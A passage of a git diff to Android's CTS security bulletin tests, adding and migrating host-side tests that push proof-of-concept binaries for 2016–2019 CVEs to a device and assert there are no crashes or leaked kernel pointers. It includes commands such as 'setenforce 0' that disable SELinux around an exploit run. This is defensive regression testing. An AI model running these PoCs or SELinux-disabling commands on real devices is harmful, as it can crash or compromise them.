+ AdbUtils.runCommandLine("logcat -c", getDevice());
+
+ // because runPocGetExitCode() isn't a thing
+ AdbUtils.runCommandLine("chmod +x /data/local/tmp/CVE-2017-0477", getDevice());
+ int code = AdbUtils.runCommandGetExitCode("/data/local/tmp/CVE-2017-0477", getDevice());
+ assertTrue(code != 139); // 128 + signal 11
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
index 2d6b44a..1ec6d89 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_05.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -16,20 +16,67 @@
package android.security.cts;
-import android.platform.test.annotations.SecurityTest;
+import java.util.Arrays;
+import java.util.concurrent.Callable;
-@SecurityTest
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
public class Poc17_05 extends SecurityTestCase {
/**
* b/34277115
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-05")
public void testPocCVE_2017_0630() throws Exception {
if (containsDriver(getDevice(), "/sys/kernel/debug/tracing/printk_formats")) {
- String commandOutput = AdbUtils.runCommandLine("cat /sys/kernel/debug/tracing" +
- "/printk_formats", getDevice());
- assertNotMatchesMultiLine(".*0x(?!0){8,16}[0-9a-fA-F]{8,16} : .*", commandOutput);
+ String printkFormats = AdbUtils.runCommandLine(
+ "cat /sys/kernel/debug/tracing/printk_formats", getDevice());
+ String[] pointerStrings = printkFormats.split("\n");
+ assertNotKernelPointer(new Callable<String>() {
+ int index;
+ @Override
+ public String call() {
+ for (; index < pointerStrings.length; index++) {
+ String line = pointerStrings[index];
+ String pattern = "0x";
+ int startIndex = line.indexOf(pattern);
+ if (startIndex == -1) {
+ continue;
+ }
+ return line.substring(startIndex + pattern.length());
+ }
+ return null;
+ }
+ }, null);
+ }
+ }
+
+ /*
+ * CVE-2016-5862
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2017-05")
+ public void testPocCVE_2016_5862() throws Exception {
+ if (containsDriver(getDevice(), "/dev/snd/controlC0")) {
+ AdbUtils.runPocNoOutput("CVE-2016-5862",getDevice(), 60);
+ }
+ }
+
+ /**
+ * CVE-2016-5867
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2017-05")
+ public void testPocCVE_2016_5867() throws Exception {
+ if (containsDriver(getDevice(), "/dev/snd/controlC0")) {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2016-5867", getDevice(), 60);
}
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
new file mode 100644
index 0000000..1f7e5e9
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_06.java
@@ -0,0 +1,46 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc17_06 extends SecurityTestCase {
+
+ /**
+ * b/36392138
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2017-06")
+ public void testPocCVE_2017_0647() throws Exception {
+ AdbUtils.pushResource("/CVE-2017-0647.zip", "/data/local/tmp/CVE-2017-0647.zip",
+ getDevice());
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runCommandLine(
+ "dex2oat " +
+ "--dex-file=/data/local/tmp/CVE-2017-0647.zip " +
+ "--oat-file=/data/local/tmp/out " +
+ "--base=0x50000000", getDevice());
+ String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine("Zip: missed a central dir sig", logcatOut);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
index 1f9602a4..d3a086a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_07.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -17,14 +17,20 @@
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
public class Poc17_07 extends SecurityTestCase {
/**
* b/35443725
**/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-07")
public void testPocCVE_2016_2109() throws Exception {
assertFalse("Overallocation detected!",
AdbUtils.runPocCheckExitCode("CVE-2016-2109",
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
index 987233d..de7381e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_09.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -17,14 +17,20 @@
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
public class Poc17_09 extends SecurityTestCase {
/**
* b/63852675
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-09")
public void testPocCve_2017_6983() throws Exception {
// Error code of 139 represents segmentation fault
assertFalse("Segfault found",
@@ -53,14 +59,15 @@
)==139);
}
- /**
- * b/38195738
- * b/36590192
- */
- @SecurityTest
- public void testPocBug_38195738() throws Exception {
- if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
- AdbUtils.runPocNoOutput("Bug-38195738", getDevice(), 60);
+ /**
+ * b/38195738
+ * b/36590192
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2017-09")
+ public void testPocBug_38195738() throws Exception {
+ if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
+ AdbUtils.runPocNoOutput("Bug-38195738", getDevice(), 60);
+ }
}
- }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
index 8f1771b..e592d0f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -17,14 +17,20 @@
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
public class Poc17_11 extends SecurityTestCase {
/**
* b/36075131
*/
- @SecurityTest
+ @Test
+ @SecurityTest(minPatchLevel = "2017-11")
public void testPocCVE_2017_0859() throws Exception {
AdbUtils.runCommandLine("logcat -c", getDevice());
AdbUtils.pushResource("/cve_2017_0859.mp4", "/sdcard/cve_2017_0859.mp4", getDevice());
@@ -33,9 +39,6 @@
" -t audio/amr", getDevice());
// Wait for intent to be processed before checking logcat
Thread.sleep(5000);
- String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
- "[\\s\\n\\S]*>>> /system/bin/" +
- "mediaserver <<<[\\s\\n\\S]*", logcat);
+ AdbUtils.assertNoCrashes(getDevice(), "mediaserver");
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
index 799e0b6..71607c8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_12.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -17,17 +17,23 @@
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
public class Poc17_12 extends SecurityTestCase {
- /**
- * b/38045794
- */
- @SecurityTest
- public void testPocCVE_2017_6262() throws Exception {
- if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
- AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), 900);
+ /**
+ * b/38045794
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2017-12")
+ public void testPocCVE_2017_6262() throws Exception {
+ if(containsDriver(getDevice(),"/dev/dri/renderD128")) {
+ AdbUtils.runPocNoOutput("CVE-2017-6262", getDevice(), TIMEOUT_NONDETERMINISTIC);
+ }
}
- }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
index 1d6c60d..377e219 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_02.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -17,20 +17,45 @@
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
public class Poc18_02 extends SecurityTestCase {
/**
* b/68953950
*/
- @SecurityTest
- public void testPocCVE_2017_13232() throws Exception {
- AdbUtils.runCommandLine("logcat -c" , getDevice());
- AdbUtils.runPocNoOutput("CVE-2017-13232", getDevice(), 60);
- String logcatOutput = AdbUtils.runCommandLine("logcat -d", getDevice());
- assertNotMatchesMultiLine(".*APM_AudioPolicyManager: getOutputForAttr\\(\\) "+
- "invalid attributes: usage=.{1,} content=.{1,} "+
- "flags=.{1,} tags=\\[.{256,}\\].*", logcatOutput);
- }
+ @Test
+ @SecurityTest(minPatchLevel = "2018-02")
+ public void testPocCVE_2017_13232() throws Exception {
+ AdbUtils.runCommandLine("logcat -c" , getDevice());
+ AdbUtils.runPocNoOutput("CVE-2017-13232", getDevice(), 60);
+ String logcatOutput = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatchesMultiLine("APM_AudioPolicyManager: getOutputForAttr\\(\\) " +
+ "invalid attributes: usage=.{1,15} content=.{1,15} " +
+ "flags=.{1,15} tags=\\[A{256,}\\]", logcatOutput);
+ }
+
+ /**
+ * b/65853158
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-02")
+ public void testPocCVE_2017_13273() throws Exception {
+ AdbUtils.runCommandLine("dmesg -c" ,getDevice());
+ AdbUtils.runCommandLine("setenforce 0",getDevice());
+ if(containsDriver(getDevice(), "/dev/xt_qtaguid") &&
+ containsDriver(getDevice(), "/proc/net/xt_qtaguid/ctrl")) {
+ AdbUtils.runPoc("CVE-2017-13273", getDevice(), 60);
+ String dmesgOut = AdbUtils.runCommandLine("cat /sys/fs/pstore/console-ramoops",
+ getDevice());
+ assertNotMatchesMultiLine("CVE-2017-132736 Tainted:" + "[\\s\\n\\S]*" +
+ "Kernel panic - not syncing: Fatal exception in interrupt", dmesgOut);
+ }
+ AdbUtils.runCommandLine("setenforce 1",getDevice());
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
index 6398164..c8f9c65 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_03.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -17,15 +17,22 @@
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
public class Poc18_03 extends SecurityTestCase {
- /**
- * b/71389378
- */
- @SecurityTest
- public void testPocCVE_2017_13253() throws Exception {
- String output = AdbUtils.runPoc("CVE-2017-13253", getDevice());
- assertNotMatchesMultiLine(".*OVERFLOW DETECTED.*",output);
- }
+ /**
+ * b/71389378
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-03")
+ public void testPocCVE_2017_13253() throws Exception {
+ String output = AdbUtils.runPoc("CVE-2017-13253", getDevice());
+ assertNotMatchesMultiLine("OVERFLOW DETECTED",output);
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
new file mode 100644
index 0000000..44b0d89
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_04.java
@@ -0,0 +1,61 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc18_04 extends SecurityTestCase {
+ /**
+ * b/69683251
+ * Does not require root but must be a hostside test to avoid
+ * a race condition
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-04")
+ public void testPocCVE_2017_13286() throws Exception {
+ getOomCatcher().setHighMemoryTest();
+ LaunchSomeWhere.launchSomeWhere("CVE_2017_13286", getDevice());
+ }
+
+ /**
+ * b/69634768
+ * Does not require root but must be a hostside test to avoid a race condition
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-04")
+ public void testPocCVE_2017_13288() throws Exception {
+ getOomCatcher().setHighMemoryTest();
+ LaunchSomeWhere.launchSomeWhere("CVE_2017_13288", getDevice());
+ }
+
+ /**
+ * b/70398564
+ * Does not require root but must be a hostside test to avoid a race condition
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-04")
+ public void testPocCVE_2017_13289() throws Exception {
+ getOomCatcher().setHighMemoryTest();
+ LaunchSomeWhere.launchSomeWhere("CVE_2017_13289", getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
new file mode 100644
index 0000000..6b51f0a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_05.java
@@ -0,0 +1,50 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc18_05 extends SecurityTestCase {
+ /**
+ * b/70721937
+ * Does not require root but must be a hostside test to avoid a race
+ * condition
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-05")
+ public void testPocCVE_2017_13315() throws Exception {
+ getOomCatcher().setHighMemoryTest();
+ LaunchSomeWhere.launchSomeWhere("CVE_2017_13315", getDevice());
+ }
+
+ /**
+ * b/73085795
+ * Does not require root but must be a hostside test to avoid a race condition
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-05")
+ public void testPocCVE_2017_13312() throws Exception {
+ getOomCatcher().setHighMemoryTest();
+ LaunchSomeWhere.launchSomeWhere("CVE_2017_13312", getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
new file mode 100644
index 0000000..c0aab3b
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_06.java
@@ -0,0 +1,54 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc18_06 extends SecurityTestCase {
+
+ /**
+ * CVE-2018-5884
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-06")
+ public void testPocCVE_2018_5884() throws Exception {
+ String wfd_service = AdbUtils.runCommandLine(
+ "pm list package com.qualcomm.wfd.service", getDevice());
+ if (wfd_service.contains("com.qualcomm.wfd.service")) {
+ String result = AdbUtils.runCommandLine(
+ "am broadcast -a qualcomm.intent.action.WIFI_DISPLAY_BITRATE --ei format 3 --ei value 32",
+ getDevice());
+ assertNotMatchesMultiLine("Broadcast completed", result);
+ }
+ }
+
+ /**
+ * b/73172817
+ */
+ @Test
+ @SecurityTest
+ public void testPocCVE_2018_9344() throws Exception {
+ AdbUtils.runPocAssertNoCrashes("CVE-2018-9344", getDevice(),
+ "android\\.hardware\\.cas@\\d+?\\.\\d+?-service");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
new file mode 100644
index 0000000..172f0fc
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_07.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc18_07 extends SecurityTestCase {
+
+ /**
+ * b/76221123
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-07")
+ public void testPocCVE_2018_9424() throws Exception {
+ AdbUtils.runPocAssertNoCrashes(
+ "CVE-2018-9424", getDevice(), "android\\.hardware\\.drm@\\d\\.\\d-service");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
new file mode 100644
index 0000000..ef5b726
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_10.java
@@ -0,0 +1,55 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc18_10 extends SecurityTestCase {
+
+ /**
+ * b/111641492
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-10")
+ public void testPocCVE_2018_9515() throws Exception {
+ AdbUtils.runCommandLine("rm /sdcard/Android/data/CVE-2018-9515", getDevice());
+ AdbUtils.runCommandLine("mkdir /sdcard/Android/data/CVE-2018-9515", getDevice());
+ AdbUtils.runPocNoOutput("CVE-2018-9515", getDevice(), 300);
+ boolean vulnerableBecauseCrashed = getDevice().waitForDeviceNotAvailable(10_000);
+ if (vulnerableBecauseCrashed) {
+ // wait for device to come online so we can clean up
+ getDevice().waitForDeviceAvailable(120_000); // 2 minutes
+ }
+ AdbUtils.runCommandLine("rm -rf /sdcard/Android/data/CVE-2018-9515", getDevice());
+ }
+
+ /**
+ * b/111274046
+ */
+ @Test
+ @SecurityTest
+ public void testPocCVE_2018_9490() throws Exception {
+ int code = AdbUtils.runProxyAutoConfig("CVE-2018-9490", getDevice());
+ assertTrue(code != 139); // 128 + signal 11
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
new file mode 100644
index 0000000..0abe1bb
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc18_11.java
@@ -0,0 +1,37 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc18_11 extends SecurityTestCase {
+
+ /**
+ * b/113027383
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2018-11")
+ public void testPocCVE_2018_9539() throws Exception {
+ AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2018-9539", getDevice(), 300);
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
index 115fad2..5977b4a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_03.java
@@ -1,5 +1,5 @@
/**
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -17,18 +17,29 @@
package android.security.cts;
import android.platform.test.annotations.SecurityTest;
-import static org.junit.Assert.assertFalse;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-@SecurityTest
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
public class Poc19_03 extends SecurityTestCase {
/**
* b/115739809
*/
+ @Test
@SecurityTest(minPatchLevel = "2019-03")
public void testPocBug_115739809() throws Exception {
assertFalse(AdbUtils.runPocCheckExitCode("Bug-115739809", getDevice(), 30));
}
+
+ /**
+ * b/116855682
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2019-03")
+ public void testPocCVE_2019_2025() throws Exception {
+ AdbUtils.runPocNoOutput("CVE-2019-2025", getDevice(), 300);
+ }
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
new file mode 100644
index 0000000..fd3b638
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_05.java
@@ -0,0 +1,80 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc19_05 extends SecurityTestCase {
+
+ /**
+ * b/129556464
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2019-05")
+ public void testPocCVE_2019_2052() throws Exception {
+ int code = AdbUtils.runProxyAutoConfig("CVE-2019-2052", getDevice());
+ assertTrue(code != 139); // 128 + signal 11
+ }
+
+ /**
+ * b/129556111
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2019-05")
+ public void testPocCVE_2019_2045() throws Exception {
+ int code = AdbUtils.runProxyAutoConfig("CVE-2019-2045", getDevice());
+ assertTrue(code != 139); // 128 + signal 11
+ }
+
+ /*
+ * b/129556718
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2019-05")
+ public void testPocCVE_2019_2047() throws Exception {
+ int code = AdbUtils.runProxyAutoConfig("CVE-2019-2047", getDevice());
+ assertTrue(code != 139); // 128 + signal 11
+ }
+
+ /**
+ * CVE-2019-2257
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2019-05")
+ public void testPocCVE_2019_2257() throws Exception {
+ String result = AdbUtils.runCommandLine(
+ "dumpsys package com.qualcomm.qti.telephonyservice", getDevice());
+ assertFalse(result.contains(
+ "permission com.qualcomm.permission.USE_QTI_TELEPHONY_SERVICE"));
+ }
+
+ /**
+ * b/117555811
+ */
+ @Test
+ @SecurityTest(minPatchLevel = "2019-05")
+ public void testPocCVE_2019_2051() throws Exception {
+ int code = AdbUtils.runProxyAutoConfig("CVE-2019-2051", getDevice());
+ assertTrue(code != 139); // 128 + signal 11
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc19_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc19_06.java
